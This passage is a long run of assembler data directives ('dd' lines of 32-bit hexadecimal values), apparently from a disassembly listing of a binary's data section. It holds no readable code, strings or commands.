0ED719864h, 16CEA81Bh, 59D30DDDh, 0AEFD9561h, 307A9967h dd 2D5A1BA4h, 0D5125333h, 0E11260B1h, 28E363ECh, 0DD293224h dd 8F4127C5h, 2F26AE9Bh, 76BBF96Fh, 59709F73h, 5FDD0B33h dd 392E6D0Fh, 99FD2066h, 89CEE63h, 46327F4Ch, 373A92D8h dd 0F4820909h, 456FDB09h, 1F1F2354h, 0DF807B30h, 38765CDh dd 0C672520Ah, 4B096292h, 0C6A32243h, 288B7FA0h, 0C510FF65h dd 0F0F63576h, 0E701AFCBh, 36203A96h, 6E5F9BB4h, 0AD265BA0h dd 1C323E0h, 49AB4625h, 509E0D42h, 5A2487AFh, 0BC218E0Ah dd 9DEFE52h, 0EC2E80DCh, 830FF7A1h, 0AD57157Dh, 420C8B7h dd 67C348A0h, 0E1C46FD4h, 0AB28267Eh, 0DFACA1A9h, 4750DCC4h dd 0A8FCB8A3h, 79A15661h, 2245E911h, 87AAEC52h, 0D64245D7h dd 0EAC6C04Eh, 38EF5E4Ah, 0CE829992h, 0B46928EBh, 0A809F0E5h dd 4720644Ah, 6871148Fh, 718DD01Ch, 0A705DE67h, 0BA7ECBC0h dd 6ACF825Ah, 0B9991DF0h, 0A65FB67Fh, 0F7A5607Eh, 1ED3B3A4h dd 0B4A1E37Eh, 44925E75h, 1C149300h, 0B9993804h, 0D29FE5B2h dd 0DF71AE0Eh, 63F042A9h, 1C522DA2h, 0E9C3F0FCh, 74D1D6CFh dd 447A24A4h, 0CB478949h, 5E42D49Eh, 0E27CC9F1h, 861F1AD4h dd 6A9F1B34h, 8644BC52h, 2BF014B9h, 51B515BAh, 0E8531A8Eh dd 43933373h, 8CE90956h, 0D725CD53h, 0CFE90C61h, 1B0738F1h dd 0EF6C0558h, 8D25F641h, 0F35F2051h, 0A240C081h, 0F464B330h dd 70791F36h, 9245C0BFh, 0BE189697h, 0CA18A13h, 448F731Eh dd 7DEEC1A8h, 715E66BBh, 553ADFE4h, 0B5AD5273h, 9AE883B4h dd 0D05E5C1Ah, 4B761886h, 6DD605E4h, 990656FBh, 44480245h dd 9CDEE020h, 0D99763F4h, 2ED39C69h, 161E0A06h, 0A0312464h dd 492B8C4Ch, 5579B935h, 792616C7h, 9836E463h, 5338C9F3h dd 0B01D3317h, 1E34737Bh, 0D9953423h, 57F44007h, 750FC09h dd 6C54FB5Ah, 0ECF7BBD0h, 1FE0172h, 0A5B82E02h, 1456668Ch dd 0FEB97F11h, 5D4FF8ACh, 0D9374607h, 0A1722413h, 1E326E7h dd 0F7BA988Ch, 18B31FEBh, 15785A75h, 0C4750089h, 0D249E7AAh dd 0A0F30A83h, 97A65F1Ah, 33C2E018h, 0E2F69972h, 71398F65h dd 2CA34005h, 3E2E07A3h, 15210E61h, 3A024554h, 75247606h dd 4FC6792Eh, 0C37F1CFAh, 0CCAB11E1h, 629365Ch, 98ED5B5Ch dd 3BE7C3C4h, 0A92598EFh, 0A09217ABh, 11D64DEh, 8AEF5347h dd 0A877172Eh, 50DA85F4h, 0E936A8F6h, 0F19554A1h, 22B27CE1h dd 7216E0A7h, 0DA617DEFh, 0BA09E6B0h, 37E888EFh, 9B0C1FDCh dd 81232525h, 0A1EC23FCh, 58D9F964h, 42FD76Eh, 591BC533h dd 4AB734E9h, 0CF011EDEh, 71675826h, 54B649BAh, 2470AAC3h dd 10B7459Bh, 21EF39D2h, 0D4855C82h, 0A5F7F7C5h, 439C33B2h dd 0EFCD2428h, 7D070CE6h, 956B01Bh, 2B414744h, 0C7CAB5C4h dd 6A0531C4h, 88B2A369h, 0F6E3267Ah, 0B24D6702h, 602ED6C3h dd 85C0AAB6h, 0E15EF53Fh, 0BF39BB0Eh, 0DFB8C88Dh, 79443C50h dd 8418ADCh, 8A829001h, 2B82699Ah, 9E655F61h, 6863C9E3h dd 7797F5CCh, 0D8CF305Bh, 0DBD8EBDFh, 0A0822E93h, 61BC4809h dd 0D64781EFh, 5344B42Ch, 0DE323E3Ah, 5FE3DDF4h, 9DE2C78Eh dd 0EB7D068Ah, 48C5A7BBh, 865E1F6Eh, 2F06D437h, 9DD842EFh dd 67C0D26Fh, 3B4079F3h, 716509A7h, 753F3ED0h, 247388DBh dd 0C39F91ACh, 1B471872h, 8E68F450h, 0BB0FA506h, 0C5CB319Bh dd 4F5F7BA1h, 319AE840h, 0D408119Eh, 9B6A9DA1h, 0FE3804F9h dd 9BB73A66h, 43D949F2h, 68AA67A5h, 71AD30CDh, 5655C4Eh dd 406E3A2Ah, 1E387BEEh, 9E5910A2h, 3689319Ah, 8D7E789Fh dd 898ABA7Fh, 80FC0972h, 5E4298A7h, 10C72009h, 34B6F0FDh dd 0C297C2E0h, 877CB399h, 49BEF735h, 35CF32ABh, 2227D86Fh dd 0E783FDEDh, 0C5049EEEh, 71F11761h, 8A8933F0h, 680BD187h dd 81169DD8h, 22C2305Ch, 632E0E87h, 0E01E190Dh, 4D42C1B9h dd 6A45ABA1h, 0F77A86F3h, 0EE34880Fh, 0E8D4609Eh, 0F9DE8EABh dd 0ADD36F93h, 0F67E618h, 33CEED0Ch, 0BD8C3194h, 0E6905291h dd 2EFBEF5Fh, 4753CEBDh, 0FD70150Ch, 9AF97686h, 727D33BFh dd 0A6CD942Bh, 790748B3h, 0A78FE901h, 0EFF9009Bh, 2EE9E6FCh dd 23BFC731h, 0BD1EF2D0h, 98E7C065h, 0D2C23FC2h, 0B1BF7FEEh dd 0B61A29B3h, 5B4042FFh, 7D52F6E4h, 4F506232h, 54EAF4E2h dd 20C10B53h, 0EE972AFFh, 5460AD71h, 0F2BCFD01h, 27A954C0h dd 6C4A5B37h, 7DC54B20h, 9CF1607h, 1015C671h, 5C8762B3h dd 0AC7E20E7h, 3C907B57h, 0A9D058FDh, 7BBFD33Fh, 0D75000A5h dd 0CF405C2Bh, 472D9454h, 5C25E1F2h, 0E2934A34h, 6BFDF4B0h dd 96A7D44Dh, 0BD057B2Ah, 55043D78h, 790F5850h, 0EE8C556h dd 7E0512AAh, 0DBFA7837h, 0BDDFB5F7h, 73F7532Fh, 2849BB45h dd 0C7E54531h, 0D9718ECCh, 2530F8C3h, 0B32CD8Dh, 59335103h dd 79C69BC8h, 0BD0ECFD1h, 25914729h, 391A1D59h, 44702F00h dd 33905998h, 4567C02Bh, 277A329Dh, 5E76BB6Eh, 0B9B14643h dd 0EAE8E2D8h, 34A11CD7h, 548A0B37h, 9CE9F7B6h, 465AA201h dd 0BE307A61h, 3B51C6CCh, 0C239974h, 33BF5D74h, 93DD0F66h dd 0EA85D1F3h, 3921A675h, 0BE55CF65h, 0CF8CE1C0h, 0D33D3C1Bh dd 614360Fh, 27E12E5Eh, 46FFED00h, 524EC6E5h, 9BDEBAEFh dd 1A389756h, 9A506A42h, 0CE4CC08Ah, 13BA7402h, 9FD69D8Ch dd 0C97413Bh, 9D3885Ch, 0F4017FBCh, 0F5F794FFh, 92BD0FE5h dd 48E9EB58h, 4AC17689h, 325C3DE2h, 0A9E3CBC3h, 0BED32E95h dd 2475BA78h, 1B14205Dh, 20C9E4BFh, 0B1F1546Dh, 7FABF540h dd 0C791614Bh, 852060E5h, 0C650332Dh, 0EB8A55D1h, 5C04202Ch dd 1EDF1065h, 7D66BFECh, 9B75986h, 26F95691h, 0F62AFCFDh dd 0FCDC4635h, 0A2877E07h, 322BCF6Fh, 116F88A5h, 0B8ECA4F1h dd 2D3B9EF9h, 0B9A9A0CBh, 0F6FFADF5h, 4635CE4Fh, 97FCDED0h dd 0C3F24D6h, 71E44CCh, 1EB4C530h, 0B56874EFh, 3DBB8955h dd 117A3412h, 0CB5573F9h, 2078CCC8h, 0DBB8087Bh, 1B03CA3Fh dd 0EEC9A24Eh, 7F05B35h, 0A691F594h, 0FD12CFB5h, 0F119A311h dd 394ED6FAh, 107F3689h, 32C19CD1h, 0C0EBBEC0h, 0A4219933h dd 1605C33Bh, 84CBAAC8h, 690CD7CBh, 11944C05h, 736FB009h dd 0F61331E6h, 61D27A9Fh, 0C60D972h, 9E914CACh, 77F93039h dd 77EE3730h, 989923CEh, 0A2874B71h, 8A4DC68Eh, 0AF24A217h dd 7B15F317h, 0ED34EFECh, 0B748647Dh, 253CF3F9h, 339F2CAEh dd 0F731B96Bh, 195F6AC2h, 0C129CC67h, 0BDAEA272h, 0AF6CB9D1h dd 99DB6533h, 0EF9C0459h, 359C9352h, 96ED194Ah, 833A1619h dd 2BA1F6A2h, 5576AF33h, 0BA4D2094h, 61B87D19h, 91162E6Fh dd 95AC5E67h, 0C55A7807h, 6A166EBBh, 129AF4BDh, 65DC95D7h dd 0D30C05B8h, 9CD935B8h, 4AD9A66h, 213834Bh, 8873D155h dd 57EA352Dh, 3BA22CE4h, 0BDAF8BB9h, 0AA9FD153h, 0EC02E945h dd 19322888h, 0FE96B284h, 0AA260046h, 27435E45h, 62F94ECDh dd 5C981CB3h, 0CCAB8683h dd 0E99D0C27h, 0A2586ADh, 89AB0A0Eh, 0E39EF985h, 500260A4h dd 32022486h, 0FABB45C0h, 0A6DDFA27h, 0BFEEEF24h, 9ECBA243h dd 9026DC10h, 97EC336Fh, 28053714h, 0FDC2DA9h, 4A13F8DAh dd 0C06B227Ah, 0E21FEA29h, 0E7E1F752h, 4A4E257Ah, 9B7E7878h dd 493127B2h, 12649AF6h, 69365A13h, 0DBDE4E52h, 6C2E24E1h dd 17300F52h, 75EBAB64h, 3B977CDBh, 30381BB7h, 0E4B9BA0Ah dd 78327011h, 7A0C2B8h, 6159D87Ch, 2A1FE55Fh, 0F33BC564h dd 98A0D183h, 9555B863h, 0F2F3C62Dh, 0E0D1315Ah, 66D46F3Bh dd 0ACB3D9A0h, 0A3DFB5F1h, 9BCA5121h, 0BDA00733h, 861748E9h dd 5F16A1EEh, 3E8996DAh, 800DE10h, 2E225A99h, 79E919D0h dd 92A7054Bh, 0BEC1D1EFh, 0F96EBECEh, 0BAB4B49Eh, 2FE66B7Bh dd 98CFF176h, 0EFD8292h, 0ADE8DAB1h, 0DC2D8D42h, 0DD8EA8E7h dd 0E0FF9476h, 0FF21FC49h, 0A3C20C3Fh, 3D049A5Eh, 8291142Bh dd 2435CFACh, 9C6DDF6Eh, 0F179B64Fh, 51F07D47h, 68A9534Eh dd 0CA8A0590h, 267485C9h, 0B48422CBh, 1E4F5565h, 8D5D14ADh dd 0EED2A1D8h, 2CEAAD82h, 5A2813C7h, 0DE864E6Fh, 81BE41C6h dd 0A979AF5Dh, 4F2A111Ah, 52893DDAh, 3538B1A5h, 0F7983A31h dd 1353686Ch, 34455B5h, 0BE9BEB90h, 69DD8DBFh, 7DC777C5h dd 9849D3C4h, 338587CAh, 3773522h, 6CCB2B61h, 80DE6659h dd 1A178DADh, 4398814Dh, 34A2C946h, 0D3F667Dh, 4C8D624Eh dd 9DB95156h, 0A4FEE263h, 0F8B8886Eh, 63EE0BF7h, 52A1B025h dd 4417C7BEh, 45A4873Eh, 0E4A5CCC6h, 0EBF0F1A5h, 7836D56Bh dd 0DECAFAD6h, 69E9B7CEh, 30BD26F9h, 0D95A5D35h, 1F125994h dd 41F58398h, 5ED3E90Dh, 0B8374935h, 1ACBD1BEh, 7A82B2B2h dd 47F0F01Ch, 545BE8BFh, 279B4B86h, 3B949357h, 95FE6276h dd 0F6A284B5h, 0F84997EAh, 0A5F0B55Bh, 0B445A607h, 990EC3EEh dd 0FAD41D9Eh, 7755A8D1h, 0E18AB43h, 6A01150Ah, 51A3A9C0h dd 44BC85EEh, 2898B2E8h, 5284DD29h, 0BF77C9F4h, 1FC27951h dd 24CC8E10h, 0A83AF76Bh, 54CB9701h, 7E515A46h, 0C1C02332h dd 78180381h, 0EDB4C336h, 7718AB35h, 31C09016h, 6D01A7E0h dd 0AA0D4B6Eh, 0D11D004Bh, 8D35745Eh, 2CA927B0h, 2FA7D296h dd 1571E206h, 14812C62h, 76BCF310h, 8A094B3Dh, 6A826E98h dd 8041979Bh, 0AF4451D0h, 38003FF8h, 4722D7FEh, 24244FA9h dd 0B2539C0Dh, 0B9DFC84Ch, 4B3E6EE6h, 0EE55BDE0h, 3F25D947h dd 19F1FDF1h, 1D73242Ah, 13798387h, 8E299BE9h, 50778E9Ah dd 0C7E8A4EEh, 7BF9ED1Ah, 0A429CC45h, 9A6A0CEFh, 0BFD64989h dd 0B9811D5Eh, 3D6E0E8Fh, 37FEE100h, 54D086D1h, 0ACD5CF19h dd 747164B8h, 59EF9B10h, 0BCEAF22Fh, 0AADC3D1Eh, 4E5207F3h dd 0D13521Ch, 0E08D9E92h, 5BE79F76h, 5FE099Dh, 802B8F9h dd 570BACEBh, 87154AA8h, 4C5648B5h, 84D7B235h, 0F27C0676h dd 5EEB9570h, 0F448626h, 37EB782Ch, 1C26F948h, 4DA3586Dh dd 940634DAh, 0E7882293h, 19C87BBAh, 8E58CDC6h, 0A0B67EF4h dd 0A2550639h, 3C2CA25Dh, 0F35A304Dh, 17341352h, 69937091h dd 6524F0D6h, 0F6EE656Ch, 50026E2h, 0B768230h, 9D3A9EB4h dd 4FA81680h, 6C8C9C18h, 4074DA9Eh, 0F4D5727Dh, 0B05E8CDEh dd 22670BAEh, 36B9F103h, 0FDF53356h, 0EF4509C1h, 0EA260915h dd 6B15764Ah, 0FE8A2D04h, 1F81A26Eh, 600B2601h, 4C0C2E1Ch dd 621894D0h, 0E4AF25C1h, 360DF3Fh, 4BC23436h, 0EE422593h dd 2E6AA26Ah, 424810h, 191DCC1Bh, 0D443CD0Dh, 4C51DE3Dh dd 0DE682C2h, 97BEAD45h, 0ABF20A59h, 8E74D1BDh, 0E2B67D50h dd 7114EF01h, 0DBE69A11h, 64428677h, 30685A3Fh, 88648E85h dd 0EA286788h, 2B8214FEh, 7225CC8Dh, 71D34138h, 8D72D9ABh dd 7630256Ah, 8A98BD6Ah, 68258723h, 6388BC5Dh, 6446287Dh dd 0A134F99Fh, 9BD0091Bh, 0D1954BA4h, 4AB0D87Fh, 50473A2Fh dd 295B1CF1h, 0E64E0BAh, 0D48A4A21h, 0C3E79EFEh, 0C24CCFFDh dd 0C0E7CFAh, 0FBE48A82h, 69354D02h, 0AA152357h, 6DEDFA50h dd 0B4D297C5h, 6E6A5D6Ah, 75D7AE8Dh, 0B83F3F97h, 727CA207h dd 0CB3E0FA4h, 3A9EFB78h, 0C4B94ED3h, 9DC06175h, 2E809622h dd 37582D4Bh, 8F41DBF4h, 0C8D509DAh, 4A292F00h, 46DFEE40h dd 38EB26EDh, 0C20BF1D1h, 9BA158CFh, 7E2D7FCFh, 0E672C7Fh dd 1E3179Fh, 258D2C1Ch, 8385EFC8h, 92F76F82h, 0D22C56FFh dd 87DE01C2h, 0F1BABAF4h, 0DCFF9F6Ah, 0A7B1C95Bh, 5CBE6F08h dd 0E9136EB7h, 0AAFED59Dh, 0DF5630B6h, 6D1311A0h, 6701498h dd 823D2949h, 0B745D39Fh, 6640F87h, 0FF4078D4h, 822870E7h dd 9880D40Eh, 4F3FADAEh, 9285CFA2h, 9696C433h, 0DF2CAA90h dd 9D483BCh, 0BD1BC32Eh, 8FEAECB4h, 0BE06FD29h, 28ACC2EAh dd 6EA16846h, 4DC5F98Bh, 8A374ABFh, 6D8E6A26h, 1846DFEDh dd 0E03EE14Fh, 0E822827Ch, 0A1879EE4h, 5DB8523Bh, 263D2A7Ah dd 66BF5556h, 0F9968702h, 0AE543F18h, 0DECACAD4h, 5D20BAC7h dd 39120262h, 0E7303067h, 3F67FCFBh, 0EF82A720h, 0DD347565h dd 6C68A10Bh, 864055h, 95966696h, 2094A274h, 32B15720h dd 8295E210h, 0F4E3B682h, 2C811CCCh, 2E75BA92h, 0BCEAA6C8h dd 987D646h, 0E99EA5DAh, 74099D11h, 0AC9B71A4h, 0CCD34F0Dh dd 0FEFB296Ch, 4E8A55ECh, 1572FCA5h, 4BACCEA0h, 303C5F14h dd 30B4431Ch, 0C8DC074Fh, 0F98215A1h, 5C27068Ch, 28F2A9Ch dd 0DD868FE7h, 371D6607h, 0A96B2A7Fh, 0EC168952h, 3982B941h dd 0B32C6E3Dh, 47B7CCD4h, 284F2430h, 5E42834Ah, 0D69B1693h dd 0CF20B3E7h, 0B2A4BFB7h, 0A9C3E2Ch, 0A2959673h, 958B9123h dd 5334CAB4h, 0F4EBCB25h, 1E7B3AEAh, 1AB08064h, 0A3A2C0A4h dd 33AF6C2Ch, 0B28CF964h, 6DDC90EFh, 9C6022A0h, 0B28E0FF3h dd 30EDCF42h, 0F040416Dh, 25A76728h, 3B8983EFh, 0B41276B9h dd 0F30B4E8Dh, 0DDD8A2D7h, 593725D6h, 0FC5F7DB0h, 96E14471h dd 16D603F9h, 0D722439Ah, 36781024h, 4068512Bh, 6AC7657Ah dd 8E1BBE8Eh, 72581D52h, 931E560Ah, 0CB7FDC63h, 55E8D8C2h dd 0D820E384h, 0E7E386FEh, 0CD3A40E3h, 71C7BD88h, 0C9DA62D4h dd 7B8D5AE4h, 0FDCC110h, 8F3394B8h, 0C8B5C31Ah, 99705EFCh dd 0F7195231h, 0AA602C1Ah, 0FAB099D7h, 629FA505h, 2055925Fh dd 0D5C115B2h, 2608D18Bh, 0F7773921h, 7EF10A4Ch, 0DD2F7627h dd 0CCBBC0E5h, 373139CDh, 79CE0B41h, 30353A8Eh, 0D0944A31h dd 0B8D9555Ah, 0F7FDDE39h, 76AFB9EEh, 0F23647ABh, 8B3A97BEh dd 889D557Ch, 33173AEBh, 90BA399Ch, 3987CE19h, 918C14E2h dd 0F0B7302Dh, 0CD52995Eh, 5C144786h, 7D9F3BCh, 98B282EEh dd 77F67431h, 2229E56h, 83E547Fh, 665D808Eh, 0F05C4FD6h dd 0E5D0DCA6h, 8F4E8864h, 81CF4D90h, 0C2459378h, 4669CD71h dd 59154EAFh, 0B79B1B4Ch, 0FD4E928Ch, 985345C4h, 838CAC25h dd 0BA857F59h, 4271A28h, 230295B3h, 0BCDC3EEDh, 0CA840DAEh dd 8FA98DDCh, 9FBB5E87h, 0A21909CFh, 81431E30h, 0BB5645B5h dd 892DA780h, 9A93E1D8h, 106358DFh, 0EFA38C07h, 72E41DE5h dd 38D7BB08h, 5038E558h, 10DD34D6h, 528DC7BFh, 9418B08Ah dd 2AA0E251h, 18880895h, 0B3BDB85Ch, 0B7B5B0B4h, 0B4ACA476h dd 6F87BEEDh, 0FF5311DDh, 4F0791A6h, 35649551h, 7BB8D36Ch dd 9B11C40Bh, 19792A73h, 9EA07C8Bh, 8F229F60h, 2559FFB1h dd 0AA5FF843h, 0D92BB8BAh dd 0B459AF76h, 599FEF3Eh, 0F03B43C7h, 4AEA1203h, 0E2320C7Eh dd 14C5BC5Eh, 0A45C9205h, 1FF67E22h, 5CED3DD0h, 0A8CD2A40h dd 1B82A21Ch, 7E10D376h, 2619A0C0h, 830B27Fh, 0BBD97E7Ah dd 0EFF3B5F3h, 0F817FE7Ch, 0AD06BC52h, 9D98440Ch, 0EC960BEBh dd 0D4FF5BCEh, 0A6D078A6h, 15540D36h, 0AEE329CDh, 35BB37B1h dd 7215B85Fh, 6EAD44CAh, 6CD4AF0h, 0C52B5048h, 712D822Bh dd 0E8569BDh, 6BD9F290h, 0F5CFEBDCh, 7A9829D0h, 4AEF9B9Ch dd 658E9F36h, 0B908BD21h, 0D31483A2h, 0BC1D4770h, 0DEFEA960h dd 105EBD29h, 8DAECDA7h, 3A59E0EAh, 40CBACABh, 0DE402B48h dd 2A5B5969h, 653DBECCh, 0AF9D417Dh, 1BAEBC2h, 0D426FF1h dd 4486DD32h, 0D6666995h, 96EEF1D6h, 0A934B513h, 0BB6F3C66h dd 935A624Dh, 9C670EA5h, 0AED17684h, 0E81B18C2h, 787753E8h dd 0B1811C5Ah, 0F454FBC6h, 0EB098C04h, 3FB4DFC2h, 0C7C8A0ADh dd 0F0F07091h, 0A072AD91h, 0F6C230EFh, 0D126991Ah, 394D1987h dd 0F658DF28h, 6C2CE5E7h, 0DC9BC138h, 0A056744Dh, 0D2D42E7Ch dd 4029708Bh, 143D6B6Eh, 554BD417h, 4053D90Dh, 97037B12h dd 4CE88F53h, 27632A03h, 2B2A9E7h, 6D7DCF83h, 284BDE56h dd 0D6555485h, 20C65B77h, 4A40314Ah, 0FCC87535h, 36FD8248h dd 0F3051905h, 4B808B4h, 7FE95A1Fh, 6EF3F2D4h, 0F7D18643h dd 0BAC9CD02h, 9DA1880Ah, 99AD51D2h, 9FBCB10Dh, 4527FA43h dd 7C2FFF71h, 19C18C0Eh, 1D50E10Bh, 4854D9B1h, 8BE3E4h dd 0B765E6E1h, 9A9A5CB6h, 9602FC06h, 9DC2022Eh, 0CF46A7C0h dd 0B6046583h, 7919DCD9h, 579B5F12h, 0EC3EDB20h, 90252DE7h dd 0C570E8F6h, 0DB2B78D5h, 855AFD80h, 0F77EF4BDh, 0A490EF25h dd 0F5C3E303h, 0FE3FFAB0h, 70BE531Fh, 0EAB7FB45h, 78AF94B9h dd 271E7DE8h, 20118C97h, 0F4BA2A7h, 5A3E1BD3h, 4941482Eh dd 7B5FBF18h, 0D2D73000h, 0CB2FC7A9h, 3742B5DDh, 0A1ED43Ch dd 32CD94EFh, 0CD83F310h, 0ED6FD759h, 5D2E5C54h, 8A2266A4h dd 0F0A10D46h, 3CD73C5Bh, 271A2F9Fh, 0C5A4E90Fh, 0BC58B49Fh dd 0E4636A07h, 22F0DA40h, 42BFB74Eh, 0EE04155Eh, 8EFFB1CFh dd 0BB246F86h, 42D585CFh, 5982DA53h, 6EE4F0D2h, 14C8C960h dd 4CB27D94h, 0F66D8B39h, 0B0BE4EDEh, 0A9DF69D5h, 37DC28D7h dd 0E1A07CB8h, 9EA80F9Dh, 0BCCFD62h, 74A81758h, 851D92A9h dd 906FC37h, 7B9D5501h, 9C2A49BCh, 78EC5805h, 4400F228h dd 0FB72A424h, 9632C9Eh, 0B5C5840Ah, 0E303FBDFh, 1E776783h dd 0A8729CB3h, 4B0E4941h, 51FCB16Ah, 4069D553h, 4419E0EBh dd 0AB04F567h, 0B18C011Ah, 57BAA27Bh, 499AA7E7h, 0A43B1A73h dd 71468514h, 46BDDDE1h, 9319D583h, 79151FF3h, 523826DFh dd 0EDCE8109h, 27E6FFC1h, 8A0E8C16h, 1AAD66FEh, 25C74089h dd 0D2186AAFh, 0BDA6DD27h, 0B08F7A06h, 0CB1DF6EDh, 0B3B57010h dd 85E7DCDFh, 0C9A54988h, 48AED61Ch, 0BD64BC85h, 0BC9EC09Eh dd 73FF92AAh, 0FD5BF957h, 31B28C05h, 0B253EF36h, 314E5272h dd 0F667553h, 690CB50Eh, 3B821034h, 145D10CEh, 0C5F85579h dd 6610D704h, 0D4CDA0F8h, 0D9F96198h, 0B4B3DC0Ch, 0B2408DBCh dd 0BAC50CE8h, 0EB70FF94h, 0CBD400F8h, 0CC13970Dh, 0F8CF7EA0h dd 0F0A332Ah, 3272C16Eh, 0D58C848Bh, 24F06C81h, 8BA3FDD4h dd 732254D8h, 0A0575EEEh, 6B5800A5h, 2B41C15Ah, 2C18F1E4h dd 2FB4AD9Ah, 74DA8DA0h, 0C2B2D434h, 6ACF79FDh, 4DD32173h dd 7F130AC8h, 8B1940C6h, 0C486898Ah, 9FB62E46h, 9DB18Fh dd 9ACFA063h, 7277E6FCh, 0C6BA0313h, 5D10D878h, 0F8DA8DB4h dd 38E24BB3h, 33154D32h, 0AE51C226h, 61EE550Ah, 134748D8h dd 128FAC0h, 7E311014h, 59B1D3BDh, 18105BA1h, 19C5D753h dd 9FCBBE00h, 729F7DD2h, 54EB0F66h, 121F804Fh, 93AEBAF5h dd 85F367E9h, 0EBA41E18h, 0F5939D2Dh, 881E46E3h, 7DEAAB37h dd 439C96DAh, 1D0C94E8h, 4AF797D0h, 88DF17ACh, 0F3847C9Fh dd 54A4375h, 0A6E1EAE8h, 360E5722h, 52C32AF4h, 305300FCh dd 3EB9FE1Ch, 385F9F26h, 0C5D7F281h, 868015E5h, 9DA08789h dd 2419EC0Eh, 2C2AC33Dh, 2632FB2h, 50287FF1h, 0E67DA720h dd 2DE594Bh, 0EBF2F514h, 5CE34A82h, 4E3A6CD1h, 95FA4E9h dd 0DF2FEFA5h, 0C095BFC3h, 0F7CA462Ah, 4945A954h, 0AF144B96h dd 0BFCAFD7h, 0BFD9E651h, 0AB065307h, 0D8B4F45h, 32FE0EE9h dd 0C9E59FB7h, 0D0E52DCEh, 0CB9557B7h, 0DF19E895h, 0D8627F5Ch dd 0AFB80A86h, 0B173DD22h, 0D0A109B7h, 0B388D227h, 3B31B1A8h dd 847EB124h, 0B616E852h, 0B17153B6h, 0AD80CE1Dh, 3C8BAE2Dh dd 0DF9009C1h, 4858BF7Bh, 63E2D634h, 0CE122DD9h, 92968009h dd 3CFD1DC4h, 328F3522h, 0C872379h, 3D80BF2Ah, 36D1EDA9h dd 0C2E15AB9h, 752DA37Ah, 0E7877616h, 0FF2947BBh, 4B6118C7h dd 28E42254h, 0B89C9322h, 0A6414C55h, 8694CA63h, 0B9352027h dd 355FD1D8h, 70B7C319h, 77E888AAh, 7A9F22C6h, 0B7373E3Bh dd 0F0657C9Bh, 0A98662F1h, 1ED69062h, 9FEA844Fh, 3EF45923h dd 6B3E5913h, 8C39924Eh, 1CF08D27h, 0A250C373h, 9B6DE2A7h dd 115BF287h, 7A1B58DDh, 87265167h, 2B722E61h, 736D9E64h dd 4108C211h, 0B401505Fh, 0CF792537h, 0E2D039C7h, 62DB83DDh dd 0BBB55CA0h, 2E110A36h, 7D7121CEh, 3F6787F5h, 2D3C09CAh dd 2410FC06h, 0B3DFF3D1h, 74A1B333h, 0FEE0987Ah, 0C9F2EDA7h dd 0D1465592h, 0E4C65846h, 0E730623Ch, 48C70D96h, 817A9902h dd 0A69928C0h, 3DF7D9AFh, 0DC4100DDh, 44D63B6Ch, 0E5108980h dd 0CB662442h, 0B0476BBEh, 52A521D6h, 0B84C9968h, 0D82B9717h dd 884AF1A2h, 0E1D3F161h, 3DC1198Bh, 36F83F43h, 31D432B1h dd 5F17ACF1h, 1EA06F37h, 6F662628h, 11182973h, 4A23D638h dd 0CD1183F1h, 2E10B49Eh, 0A0818133h, 36F374F5h, 0A80EEB03h dd 3AED956Ch, 0B1C55C08h, 401E2Ch, 1418E913h, 6E2D5192h dd 823B9986h, 3591CD00h, 0EEDD0B79h, 0BBF60C51h, 92193CFFh dd 0BE62ECDh, 7CFFFA4Ah, 0B6201A66h, 0E9057AEBh, 3C46DCCCh dd 45FF9657h, 8DD1377Bh, 180EED76h, 9EBDBE53h, 0FB514A17h dd 17527594h, 466E4F6h, 0F32BF4BDh, 0F46A5D5Fh, 423A7E28h dd 372DB933h, 47BFC015h, 0F625EE12h, 0EB0BB1FAh, 67B7AF75h dd 9B9219E7h, 77E41E57h, 32D00963h, 0B691A75Bh, 0F12F600Dh dd 0DD14671Ch, 0AC20B5D3h, 4DE0AD47h, 85959A0Ch, 4A9397A0h dd 1CEA2BBAh, 6BC4E9AEh, 0BE32CE4Bh, 732F7F0Dh, 7891DC52h dd 9734B35Bh, 0EAFA154h, 49029721h, 0D73F9CA2h, 0A0C34939h dd 1508DAABh, 0D9420D45h, 71B4F86h, 310AE37Eh, 8F416282h dd 0A3ABBCBh, 7D2DF768h, 0FA759AD2h, 80C8E2D8h, 8C4C88AAh dd 65D4A64Ah, 6087EC5Bh, 0D1AD6976h, 337D4AE0h, 0EE72C22Ch dd 7A1364B0h, 0E69BAF6Ah, 0E8668F07h, 0EB7AB434h, 2C770383h dd 92C63266h, 0CE284393h, 0D9700B92h, 0A02B5EA2h, 59ACB25Bh dd 10A33CB3h, 0C2DCE7DAh, 0A0110241h, 0F127036Ch, 1A7A590h dd 277C49C3h, 0E7D3D6A9h, 5AE3F2FFh, 7DFAFE54h, 6385348Fh dd 525BCAD7h, 56234418h, 6891BD3Ah, 5BD1E034h, 527EAEB6h dd 12864E70h, 33067C40h, 7A4A2805h, 86E23A1Eh, 60FCE121h dd 0E1E06F37h, 0ECE3C030h, 409E2F5Ah, 5A019C4Dh, 58450721h dd 0D01CF453h, 1087225Fh, 0A51143F8h, 0A1161F84h, 4285AF84h dd 4ABC487h, 188E880Dh dd 0A9C7788Fh, 64A7C92h, 0E2B18228h, 4A9701ADh, 0A8D4008h dd 0AAF49499h, 0ECE29850h, 994C4399h, 281BC7E5h, 0DC7F6760h dd 9AFD32Dh, 37E1C070h, 0E11FEAF9h, 0F4709795h, 529899FCh dd 2BC2B9A9h, 144FDDE0h, 669DD0A4h, 7839F8B9h, 0AAB9E175h dd 6C019D44h, 0A7CA8E7Ch, 0C3276F66h, 2DA46C70h, 66870131h dd 1998FC9Fh, 0E1BDD7F7h, 0B65C8EADh, 2F963325h, 0A0CD736Bh dd 0F56C10A7h, 37DA601Ch, 3572E030h, 8206AD27h, 0D0FE9A6Ah dd 2A4EEAABh, 0FBBB33CAh, 0A83A2A39h, 0A5A1D8Bh, 26ED9710h dd 3EBF1322h, 9CF657BDh, 7240610Bh, 1D19AE7Fh, 0FDA52315h dd 0C1A423CFh, 2424EDD1h, 0BD558FCCh, 5B0E4204h, 0DA74478Eh dd 0F773F373h, 30D084C1h, 61986E1Fh, 0E60513E7h, 3C8C5639h dd 0E92E7F52h, 0C2A50B34h, 0B1495DFDh, 4C7BC711h, 0FBFF05EAh dd 7EF22402h, 1AF6E39h, 671FE7FCh, 0D7E32DAEh, 34EAFE73h dd 0A0165B1Dh, 10E01058h, 0A141085Ah, 0B6688182h, 0D2CFE53Eh dd 42986DA7h, 629617B9h, 0B5E23213h, 0DD45B9F9h, 0AE11215Ah dd 96050A66h, 9C202B9Eh, 0D28C824Ch, 9F3C06A2h, 6E7E333h dd 0F87C0B8Eh, 0FF95894Ah, 0D595C8C1h, 0F033628Ah, 